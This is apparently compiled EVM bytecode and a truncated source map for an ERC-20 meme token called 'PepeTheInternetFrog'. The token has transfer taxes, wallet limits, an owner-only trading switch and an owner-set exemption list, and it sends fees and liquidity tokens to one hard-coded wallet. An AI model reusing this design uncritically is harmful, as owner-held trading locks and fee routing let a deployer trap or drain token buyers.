0x6080604052600436106101185760003560e01c806348ff2b8b116100a057806395d89b411161006457806395d89b411461033e578063a8aa1b3114610370578063a9059cbb14610390578063dd62ed3e146103b0578063f2fde38b146103f657600080fd5b806348ff2b8b1461028c57806370a08231146102ac57806378109e54146102e25780637d1db4a5146102f7578063893d20e81461030c57600080fd5b806323b872dd116100e757806323b872dd146101da578063293230b8146101fa5780632f54bf6e14610211578063313ce567146102405780633f4218e01461025c57600080fd5b806306fdde0314610124578063095ea7b31461017257806318160ddd146101a25780631f976b7e146101c557600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152601381527250657065546865496e7465726e657446726f6760681b60208201525b60405161016991906113b5565b60405180910390f35b34801561017e57600080fd5b5061019261018d36600461141b565b610416565b6040519015158152602001610169565b3480156101ae57600080fd5b506101b761042d565b604051908152602001610169565b3480156101d157600080fd5b506101b761049e565b3480156101e657600080fd5b506101926101f5366004611447565b6104c2565b34801561020657600080fd5b5061020f61052c565b005b34801561021d57600080fd5b5061019261022c366004611488565b6000546001600160a01b0391821691161490565b34801561024c57600080fd5b5060405160098152602001610169565b34801561026857600080fd5b50610192610277366004611488565b60076020526000908152604090205460ff1681565b34801561029857600080fd5b5061020f6102a73660046114a5565b610574565b3480156102b857600080fd5b506101b76102c7366004611488565b6001600160a01b031660009081526005602052604090205490565b3480156102ee57600080fd5b506101b76105c9565b34801561030357600080fd5b506101b76105d9565b34801561031857600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610169565b34801561034a57600080fd5b5060408051808201909152600981526828172497784fc85c1760b91b602082015261015c565b34801561037c57600080fd5b50600954610326906001600160a01b031681565b34801561039c57600080fd5b506101926103ab36600461141b565b6105e9565b3480156103bc57600080fd5b506101b76103cb3660046114e3565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561040257600080fd5b5061020f610411366004611488565b6105f6565b6000610423338484610674565b5060015b92915050565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead60009081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba5460015491926104999290916104939190610798565b90610798565b905090565b60006011546003546104ae61042d565b6104b89190611527565b610499919061153e565b60006104cf8484846107a4565b610521843361051c85604051806060016040528060288152602001611679602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906108c2565b610674565b5060015b9392505050565b6000546001600160a01b0316331461055f5760405162461bcd60e51b815260040161055690611560565b60405180910390fd5b6009805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461059e5760405162461bcd60e51b815260040161055690611560565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b60006011546004546104ae61042d565b60006011546002546104ae61042d565b60006104233384846107a4565b6000546001600160a01b031633146106205760405162461bcd60e51b815260040161055690611560565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166106d65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610556565b6001600160a01b0382166107375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610556565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006105258284611580565b6107af8383836108ee565b6107ba838383610aac565b6107c5838383610b9d565b6107d0838383610cd4565b6001600160a01b0383166000908152600560205260409020546107f39082610798565b6001600160a01b03841660009081526005602052604090205561081860018484610cf9565b5060006108258484610da3565b61082f578161083a565b61083a848484610de9565b6001600160a01b0384166000908152600560205260409020549091506108609082610edd565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108b49085815260200190565b60405180910390a350505050565b600081848411156108e65760405162461bcd60e51b815260040161055691906113b5565b505050900390565b6001600160a01b0383166109525760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610556565b6001600160a01b0382166109b45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610556565b60008111610a165760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610556565b6001600160a01b03831660009081526007602052604090205460ff16158015610a5857506001600160a01b03821660009081526007602052604090205460ff16155b15610aa757600954600160a01b900460ff16610aa75760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610556565b505050565b6001600160a01b03831660009081526007602052604090205460ff16158015610aee57506001600160a01b03821660009081526007602052604090205460ff16155b8015610b0857506009546001600160a01b03838116911614155b8015610b1f57506001600160a01b03821661dead14155b15610aa757610b2c6105c9565b6001600160a01b038316600090815260056020526040902054610b4f9083610edd565b1115610aa75760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610556565b6009546001600160a01b03848116911614610c4357610bba61049e565b81111580610be057506001600160a01b03831660009081526007602052604090205460ff165b80610c0357506001600160a01b03821660009081526007602052604090205460ff165b610c435760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610556565b610c4b6105d9565b81111580610c7157506001600160a01b03831660009081526007602052604090205460ff165b80610c9457506001600160a01b03821660009081526007602052604090205460ff165b610aa75760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610556565b610cdf838383610ee9565b15610aa757610cef601654610fa3565b6000601355505050565b60008360136000828254610d0d9190611593565b90915550506001600160a01b03831660009081526007602052604081205460ff16158015610d405750633b41fb9f601354105b9050600063054ff39c6013541180610d7957506001600160a01b03841660009081526007602052604090205460ff168015610d79575081155b905060008115610d9557610d908686601754610de9565b610d98565b60005b119695505050505050565b6001600160a01b03821660009081526007602052604081205460ff161580156105255750506001600160a01b031660009081526007602052604090205460ff1615919050565b600080610df68585611134565b1115610ed6576000610e1f610e0b8686611134565b601154610e1990869061117f565b9061118b565b30600090815260056020526040902054909150610e3c9082610edd565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e8d9085815260200190565b60405180910390a3600d5415610ec457610ec43061dead610ebf600d54610e196011548961117f90919063ffffffff16565b6107a4565b610ece8382610798565b915050610525565b5092915050565b60006105258284611593565b6018546016543060009081526005602052604081205460145491938510159211159060ff16158015610f1d575060125460ff165b8015610f325750600954600160a01b900460ff165b8015610f3b5750815b8015610f8057506001600160a01b03861660009081526007602052604090205460ff16158015610f7857506009546001600160a01b038681169116145b80610f805750805b8015610f90575060155460135410155b8015610f995750805b9695505050505050565b6014805460ff19166001908117909155600c54600b54600a54600093610fdd93600293610e19939192610fd7928391610edd565b90610edd565b9050600061100082610ffa600a548661118b90919063ffffffff16565b9061117f565b9050600061100e8483610798565b90504761101a82611197565b60006110264783610798565b90506000611049611042600a548861079890919063ffffffff16565b839061117f565b90506000611062600a548361118b90919063ffffffff16565b905080156110745761107486826112f1565b600b5460009061108990610e1985600261118b565b905080156110d4576040517341413728ae6e633bcff5c466de6cccae411f45609082156108fc029083906000818181858888f193505050501580156110d2573d6000803e3d6000fd5b505b47801561111e576040517341413728ae6e633bcff5c466de6cccae411f45609082156108fc029083906000818181858888f1935050505015801561111c573d6000803e3d6000fd5b505b50506014805460ff191690555050505050505050565b6009546000906001600160a01b03908116908316036111565750600f54610427565b6009546001600160a01b03908116908416036111755750600e54610427565b5060105492915050565b6000610525828461153e565b60006105258284611527565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106111cc576111cc6115a6565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611225573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124991906115bc565b8160018151811061125c5761125c6115a6565b6001600160a01b0392831660209182029290920101526008546112829130911684610674565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906112bb9085906000908690309042906004016115d9565b600060405180830381600087803b1580156112d557600080fd5b505af11580156112e9573d6000803e3d6000fd5b505050505050565b6008546113099030906001600160a01b031684610674565b60085460405163f305d71960e01b81523060048201526024810184905260006044820181905260648201527341413728ae6e633bcff5c466de6cccae411f456060848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611389573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113ae919061164a565b5050505050565b600060208083528351808285015260005b818110156113e2578581018301518582016040015282016113c6565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461141857600080fd5b50565b6000806040838503121561142e57600080fd5b823561143981611403565b946020939093013593505050565b60008060006060848603121561145c57600080fd5b833561146781611403565b9250602084013561147781611403565b929592945050506040919091013590565b60006020828403121561149a57600080fd5b813561052581611403565b600080604083850312156114b857600080fd5b82356114c381611403565b9150602083013580151581146114d857600080fd5b809150509250929050565b600080604083850312156114f657600080fd5b823561150181611403565b915060208301356114d881611403565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761042757610427611511565b60008261155b57634e487b7160e01b600052601260045260246000fd5b500490565b60208082526006908201526510a7aba722a960d11b604082015260600190565b8181038181111561042757610427611511565b8082018082111561042757610427611511565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156115ce57600080fd5b815161052581611403565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116295784516001600160a01b031683529383019391830191600101611604565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561165f57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202c16328a70560f467b25cb3ae202a48e0a956921b0eabaa6cfba79b00b5d8c3664736f6c63430008130033

4768:10310:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7169:67;;;;;;;;;;-1:-1:-1;7229:5:0;;;;;;;;;;;;-1:-1:-1;;;7229:5:0;;;;7169:67;;;;;;;:::i;:::-;;;;;;;;8184:133;;;;;;;;;;-1:-1:-1;8184:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8184:133:0;1023:187:1;8323:132:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;8323:132:0;1215:177:1;8700:119:0;;;;;;;;;;;;;:::i;14025:309::-;;;;;;;;;;-1:-1:-1;14025:309:0;;;;;:::i;:::-;;:::i;7392:67::-;;;;;;;;;;;;;:::i;:::-;;3146:87;;;;;;;;;;-1:-1:-1;3146:87:0;;;;;:::i;:::-;3201:4;3226:5;-1:-1:-1;;;;;3215:16:0;;;3226:5;;3215:16;;3146:87;7319:67;;;;;;;;;;-1:-1:-1;7319:67:0;;5010:1;2252:36:1;;2240:2;2225:18;7319:67:0;2110:184:1;5356:44:0;;;;;;;;;;-1:-1:-1;5356:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8070:108;;;;;;;;;;-1:-1:-1;8070:108:0;;;;;:::i;:::-;;:::i;7549:103::-;;;;;;;;;;-1:-1:-1;7549:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7632:18:0;7615:7;7632:18;;;:9;:18;;;;;;;7549:103;8461:114;;;;;;;;;;;;;:::i;8581:113::-;;;;;;;;;;;;;:::i;7465:78::-;;;;;;;;;;-1:-1:-1;7517:7:0;7535:5;-1:-1:-1;;;;;7535:5:0;7465:78;;;-1:-1:-1;;;;;2884:32:1;;;2866:51;;2854:2;2839:18;7465:78:0;2720:203:1;7242:71:0;;;;;;;;;;-1:-1:-1;7304:7:0;;;;;;;;;;;;-1:-1:-1;;;7304:7:0;;;;7242:71;;5428:19;;;;;;;;;;-1:-1:-1;5428:19:0;;;;-1:-1:-1;;;;;5428:19:0;;;7658:139;;;;;;;;;;-1:-1:-1;7658:139:0;;;;;:::i;:::-;;:::i;7803:127::-;;;;;;;;;;-1:-1:-1;7803:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7901:18:0;;;7884:7;7901:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7803:127;3239:111;;;;;;;;;;-1:-1:-1;3239:111:0;;;;;:::i;:::-;;:::i;8184:133::-;8259:4;8266:37;8275:10;8287:7;8296:6;8266:8;:37::i;:::-;-1:-1:-1;8311:4:0;8184:133;;;;;:::o;8323:132::-;7632:9;:18;;;;6224:42;8376:7;7632:18;;;;;8393:12;;8376:7;;8393:60;;7632:18;;8393:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;8386:67;;8323:132;:::o;8700:119::-;8751:7;8806:11;;8784:19;;8768:13;:11;:13::i;:::-;:35;;;;:::i;:::-;:49;;;;:::i;14025:309::-;14123:4;14140:36;14150:6;14158:9;14169:6;14140:9;:36::i;:::-;14187:117;14196:6;14204:10;14216:87;14252:6;14216:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14216:19:0;;;;;;:11;:19;;;;;;;;14236:10;14216:31;;;;;;;;;:87;:35;:87::i;:::-;14187:8;:117::i;:::-;-1:-1:-1;14322:4:0;14025:309;;;;;;:::o;7392:67::-;3201:4;3226:5;-1:-1:-1;;;;;3226:5:0;3113:10;3215:16;3097:38;;;;-1:-1:-1;;;3097:38:0;;;;;;;:::i;:::-;;;;;;;;;7436:14:::1;:21:::0;;-1:-1:-1;;;;7436:21:0::1;-1:-1:-1::0;;;7436:21:0::1;::::0;;7392:67::o;8070:108::-;3201:4;3226:5;-1:-1:-1;;;;;3226:5:0;3113:10;3215:16;3097:38;;;;-1:-1:-1;;;3097:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8144:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;8144:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8070:108::o;8461:114::-;8509:7;8562:11;;8542:17;;8526:13;:11;:13::i;8581:113::-;8626:7;8681:11;;8659:19;;8643:13;:11;:13::i;7658:139::-;7736:4;7743:40;7753:10;7765:9;7776:6;7743:9;:40::i;3239:111::-;3201:4;3226:5;-1:-1:-1;;;;;3226:5:0;3113:10;3215:16;3097:38;;;;-1:-1:-1;;;3097:38:0;;;;;;;:::i;:::-;3305:5:::1;:11:::0;;-1:-1:-1;;;;;;3305:11:0::1;-1:-1:-1::0;;;;;3305:11:0;::::1;::::0;;::::1;::::0;;;3323:25:::1;::::0;2866:51:1;;;3323:25:0::1;::::0;2854:2:1;2839:18;3323:25:0::1;;;;;;;3239:111:::0;:::o;14738:335::-;-1:-1:-1;;;;;14831:19:0;;14823:68;;;;-1:-1:-1;;;14823:68:0;;4860:2:1;14823:68:0;;;4842:21:1;4899:2;4879:18;;;4872:30;4938:34;4918:18;;;4911:62;-1:-1:-1;;;4989:18:1;;;4982:34;5033:19;;14823:68:0;4658:400:1;14823:68:0;-1:-1:-1;;;;;14910:21:0;;14902:68;;;;-1:-1:-1;;;14902:68:0;;5265:2:1;14902:68:0;;;5247:21:1;5304:2;5284:18;;;5277:30;5343:34;5323:18;;;5316:62;-1:-1:-1;;;5394:18:1;;;5387:32;5436:19;;14902:68:0;5063:398:1;14902:68:0;-1:-1:-1;;;;;14981:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15033:32;;1361:25:1;;;15033:32:0;;1334:18:1;15033:32:0;;;;;;;14738:335;;;:::o;332:82::-;390:7;407:5;411:1;407;:5;:::i;9291:632::-;9380:37;9391:6;9399:9;9410:6;9380:10;:37::i;:::-;9428:41;9443:6;9451:9;9462:6;9428:14;:41::i;:::-;9481:39;9494:6;9502:9;9513:6;9481:12;:39::i;:::-;9532:35;9541:6;9549:9;9560:6;9532:8;:35::i;:::-;-1:-1:-1;;;;;9598:17:0;;;;;;:9;:17;;;;;;:29;;9620:6;9598:21;:29::i;:::-;-1:-1:-1;;;;;9578:17:0;;;;;;:9;:17;;;;;:49;9638:30;9649:1;9588:6;9658:9;9638:10;:30::i;:::-;;9679:22;9704:32;9718:6;9726:9;9704:13;:32::i;:::-;:78;;9776:6;9704:78;;;9739:34;9747:6;9755:9;9766:6;9739:7;:34::i;:::-;-1:-1:-1;;;;;9816:20:0;;;;;;:9;:20;;;;;;9679:103;;-1:-1:-1;9816:40:0;;9679:103;9816:24;:40::i;:::-;-1:-1:-1;;;;;9793:20:0;;;;;;;:9;:20;;;;;;;:63;;;;9872:43;;;;;;;;;;9900:14;1361:25:1;;1349:2;1334:18;;1215:177;9872:43:0;;;;;;;;9369:554;9291:632;;;:::o;1545:162::-;1631:7;1677:12;1669:6;;;;1661:29;;;;-1:-1:-1;;;1661:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1699:5:0;;;1545:162::o;8827:446::-;-1:-1:-1;;;;;8931:20:0;;8923:70;;;;-1:-1:-1;;;8923:70:0;;5801:2:1;8923:70:0;;;5783:21:1;5840:2;5820:18;;;5813:30;5879:34;5859:18;;;5852:62;-1:-1:-1;;;5930:18:1;;;5923:35;5975:19;;8923:70:0;5599:401:1;8923:70:0;-1:-1:-1;;;;;9012:23:0;;9004:71;;;;-1:-1:-1;;;9004:71:0;;6207:2:1;9004:71:0;;;6189:21:1;6246:2;6226:18;;;6219:30;6285:34;6265:18;;;6258:62;-1:-1:-1;;;6336:18:1;;;6329:33;6379:19;;9004:71:0;6005:399:1;9004:71:0;9111:1;9094:6;:19;9086:73;;;;-1:-1:-1;;;9086:73:0;;6611:2:1;9086:73:0;;;6593:21:1;6650:2;6630:18;;;6623:30;6689:34;6669:18;;;6662:62;-1:-1:-1;;;6740:18:1;;;6733:39;6789:19;;9086:73:0;6409:405:1;9086:73:0;-1:-1:-1;;;;;9175:19:0;;;;;;:11;:19;;;;;;;;9174:20;:47;;;;-1:-1:-1;;;;;;9199:22:0;;;;;;:11;:22;;;;;;;;9198:23;9174:47;9171:95;;;9231:14;;-1:-1:-1;;;9231:14:0;;;;9223:41;;;;-1:-1:-1;;;9223:41:0;;7021:2:1;9223:41:0;;;7003:21:1;7060:2;7040:18;;;7033:30;-1:-1:-1;;;7079:18:1;;;7072:44;7133:18;;9223:41:0;6819:338:1;9223:41:0;8827:446;;;:::o;9933:333::-;-1:-1:-1;;;;;10037:19:0;;;;;;:11;:19;;;;;;;;10036:20;:47;;;;-1:-1:-1;;;;;;10061:22:0;;;;;;:11;:22;;;;;;;;10060:23;10036:47;:77;;;;-1:-1:-1;10108:4:0;;-1:-1:-1;;;;;10087:26:0;;;10108:4;;10087:26;;10036:77;:107;;;;-1:-1:-1;;;;;;10117:26:0;;6224:42;10117:26;;10036:107;10033:226;;;10205:17;:15;:17::i;:::-;-1:-1:-1;;;;;10168:20:0;;;;;;:9;:20;;;;;;:32;;10193:6;10168:24;:32::i;:::-;10167:55;;10159:98;;;;-1:-1:-1;;;10159:98:0;;7364:2:1;10159:98:0;;;7346:21:1;7403:2;7383:18;;;7376:30;7442:32;7422:18;;;7415:60;7492:18;;10159:98:0;7162:354:1;10283:349:0;10394:4;;-1:-1:-1;;;;;10384:14:0;;;10394:4;;10384:14;10381:130;;10418:20;:18;:20::i;:::-;10408:6;:30;;:53;;;-1:-1:-1;;;;;;10442:19:0;;;;;;:11;:19;;;;;;;;10408:53;:79;;;-1:-1:-1;;;;;;10465:22:0;;;;;;:11;:22;;;;;;;;10408:79;10400:109;;;;-1:-1:-1;;;10400:109:0;;7723:2:1;10400:109:0;;;7705:21:1;7762:2;7742:18;;;7735:30;-1:-1:-1;;;7781:18:1;;;7774:47;7838:18;;10400:109:0;7521:341:1;10400:109:0;10539:14;:12;:14::i;:::-;10529:6;:24;;:47;;;-1:-1:-1;;;;;;10557:19:0;;;;;;:11;:19;;;;;;;;10529:47;:73;;;-1:-1:-1;;;;;;10580:22:0;;;;;;:11;:22;;;;;;;;10529:73;10521:103;;;;-1:-1:-1;;;10521:103:0;;7723:2:1;10521:103:0;;;7705:21:1;7762:2;7742:18;;;7735:30;-1:-1:-1;;;7781:18:1;;;7774:47;7838:18;;10521:103:0;7521:341:1;13266:190:0;13358:41;13373:6;13381:9;13392:6;13358:14;:41::i;:::-;13355:94;;;13401:22;13416:6;;13401:14;:22::i;:::-;13445:1;13425:9;:22;13266:190;;;:::o;11696:350::-;11783:4;11812:9;11799;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;11848:20:0;;11832:13;11848:20;;;:11;:20;;;;;;;;11847:21;11846:46;;;;;11882:9;11872;;:19;11846:46;11832:60;;11903:9;11926:8;11916:9;;:18;11915:55;;;-1:-1:-1;;;;;;11938:19:0;;;;;;:11;:19;;;;;;;;:31;;;;;11961:8;11960:9;11938:31;11903:67;;12037:1;11991:4;11990:5;:44;;12000:34;12008:7;12017:6;12025:8;;12000:7;:34::i;:::-;11990:44;;;11998:1;11990:44;11989:49;;11696:350;-1:-1:-1;;;;;;11696:350:0:o;14343:160::-;-1:-1:-1;;;;;14449:19:0;;14424:4;14449:19;;;:11;:19;;;;;;;;14448:20;:47;;;;-1:-1:-1;;;;;;;14473:22:0;;;;;:11;:22;;;;;;;;14472:23;;14343:160;-1:-1:-1;14343:160:0:o;13471:546::-;13557:7;13613:1;13580:30;13592:6;13600:9;13580:11;:30::i;:::-;:34;13577:418;;;13626:17;13646:59;13674:30;13686:6;13694:9;13674:11;:30::i;:::-;13657:11;;13646:23;;:6;;:10;:23::i;:::-;:27;;:59::i;:::-;13761:4;13743:24;;;;:9;:24;;;;;;13626:79;;-1:-1:-1;13743:39:0;;13626:79;13743:28;:39::i;:::-;13734:4;13716:24;;;;:9;:24;;;;;;;:66;;;;13798:42;;-1:-1:-1;;;;;13798:42:0;;;;;;;13830:9;1361:25:1;;1349:2;1334:18;;1215:177;13798:42:0;;;;;;;;13854:7;;:20;13851:104;;13876:77;13894:4;6224:42;13916:36;13944:7;;13916:23;13927:11;;13916:6;:10;;:23;;;;:::i;:36::-;13876:9;:77::i;:::-;13972:21;:6;13983:9;13972:10;:21::i;:::-;13965:28;;;;;13577:418;-1:-1:-1;14003:6:0;13471:546;-1:-1:-1;;13471:546:0:o;244:82::-;302:7;319:5;323:1;319;:5;:::i;12847:411::-;12988:14;;13063:6;;13053:4;12945;7632:18;;;:9;:18;;;;;;13087:8;;12945:4;;12978:24;;;;-1:-1:-1;13035:34:0;;13087:8;;13086:9;:24;;;;-1:-1:-1;13099:11:0;;;;13086:24;:42;;;;-1:-1:-1;13114:14:0;;-1:-1:-1;;;13114:14:0;;;;13086:42;:54;;;;;13132:8;13086:54;:119;;;;-1:-1:-1;;;;;;13147:19:0;;;;;;:11;:19;;;;;;;;13146:20;:41;;;;-1:-1:-1;13183:4:0;;-1:-1:-1;;;;;13170:17:0;;;13183:4;;13170:17;13146:41;13145:59;;;;13190:14;13145:59;13086:146;;;;;13222:10;;13209:9;;:23;;13086:146;:164;;;;;13236:14;13086:164;13079:171;12847:411;-1:-1:-1;;;;;;12847:411:0:o;10640:1046::-;6145:8;:15;;-1:-1:-1;;6145:15:0;6156:4;6145:15;;;;;;10777:14:::1;::::0;10759:12:::1;::::0;10735::::1;::::0;6145:8;;10734:66:::1;::::0;10798:1:::1;::::0;10735:57:::1;::::0;10777:14;;10735:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;10734:66::-;10711:89;;10811:32;10846:42;10875:12;10846:24;10857:12;;10846:6;:10;;:24;;;;:::i;:::-;:28:::0;::::1;:42::i;:::-;10811:77:::0;-1:-1:-1;10899:14:0::1;10916:36;:6:::0;10811:77;10916:10:::1;:36::i;:::-;10899:53:::0;-1:-1:-1;10988:21:0::1;11020:24;10899:53:::0;11020:16:::1;:24::i;:::-;11055:20;11078:41;:21;11104:14:::0;11078:25:::1;:41::i;:::-;11055:64;;11130:19;11151:48;11168:30;11185:12;;11168;:16;;:30;;;;:::i;:::-;11151:12:::0;;:16:::1;:48::i;:::-;11130:69;;11210:29;11242;11258:12;;11242:11;:15;;:29;;;;:::i;:::-;11210:61:::0;-1:-1:-1;11285:34:0;;11282:103:::1;;11321:61;11334:24;11360:21;11321:12;:61::i;:::-;11441:12;::::0;11395:20:::1;::::0;11418:36:::1;::::0;:18:::1;:11:::0;11434:1:::1;11418:15;:18::i;:36::-;11395:59:::0;-1:-1:-1;11468:16:0;;11465:73:::1;;11486:50;::::0;6419:42:::1;::::0;11486:50;::::1;;;::::0;11523:12;;11486:50:::1;::::0;;;11523:12;6419:42;11486:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11465:73;11569:21;11604:23:::0;;11601:80:::1;;11629:50;::::0;6322:42:::1;::::0;11629:50;::::1;;;::::0;11668:10;;11629:50:::1;::::0;;;11668:10;6322:42;11629:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11601:80;-1:-1:-1::0;;6165:8:0;:16;;-1:-1:-1;;6165:16:0;;;-1:-1:-1;;;;;;;;10640:1046:0:o;14511:219::-;14626:4;;14590:7;;-1:-1:-1;;;;;14626:4:0;;;14613:17;;;;14610:38;;-1:-1:-1;14639:7:0;;14632:14;;14610:38;14671:4;;-1:-1:-1;;;;;14671:4:0;;;14661:14;;;;14658:36;;-1:-1:-1;14684:8:0;;14677:15;;14658:36;-1:-1:-1;14711:11:0;;14511:219;;;;:::o;508:82::-;566:7;583:5;587:1;583;:5;:::i;420:82::-;478:7;495:5;499:1;495;:5;:::i;12405:434::-;12495:16;;;12509:1;12495:16;;;;;;;;12471:21;;12495:16;;;;;;;;;;-1:-1:-1;12495:16:0;12471:40;;12540:4;12522;12527:1;12522:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12522:23:0;;;:7;;;;;;;;;;:23;;;;12566:6;;:13;;;-1:-1:-1;;;12566:13:0;;;;:6;;;;;:11;;:13;;;;;12522:7;;12566:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12556:4;12561:1;12556:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12556:23:0;;;:7;;;;;;;;;:23;12622:6;;12590:53;;12607:4;;12622:6;12631:11;12590:8;:53::i;:::-;12654:6;;:177;;-1:-1:-1;;;12654:177:0;;-1:-1:-1;;;;;12654:6:0;;;;:57;;:177;;12726:11;;12654:6;;12768:4;;12795;;12815:15;;12654:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12460:379;12405:434;:::o;12054:343::-;12167:6;;12135:53;;12152:4;;-1:-1:-1;;;;;12167:6:0;12176:11;12135:8;:53::i;:::-;12199:6;;:190;;-1:-1:-1;;;12199:190:0;;12262:4;12199:190;;;9843:34:1;9893:18;;;9886:34;;;12199:6:0;9936:18:1;;;9929:34;;;9979:18;;;9972:34;6515:42:0;10022:19:1;;;10015:44;12373:15:0;10075:19:1;;;10068:35;-1:-1:-1;;;;;12199:6:0;;;;:22;;12229:9;;9777:19:1;;12199:190:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12054:343;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2299:416::-;2364:6;2372;2425:2;2413:9;2404:7;2400:23;2396:32;2393:52;;;2441:1;2438;2431:12;2393:52;2480:9;2467:23;2499:31;2524:5;2499:31;:::i;:::-;2549:5;-1:-1:-1;2606:2:1;2591:18;;2578:32;2648:15;;2641:23;2629:36;;2619:64;;2679:1;2676;2669:12;2619:64;2702:7;2692:17;;;2299:416;;;;;:::o;2928:388::-;2996:6;3004;3057:2;3045:9;3036:7;3032:23;3028:32;3025:52;;;3073:1;3070;3063:12;3025:52;3112:9;3099:23;3131:31;3156:5;3131:31;:::i;:::-;3181:5;-1:-1:-1;3238:2:1;3223:18;;3210:32;3251:33;3210:32;3251:33;:::i;3581: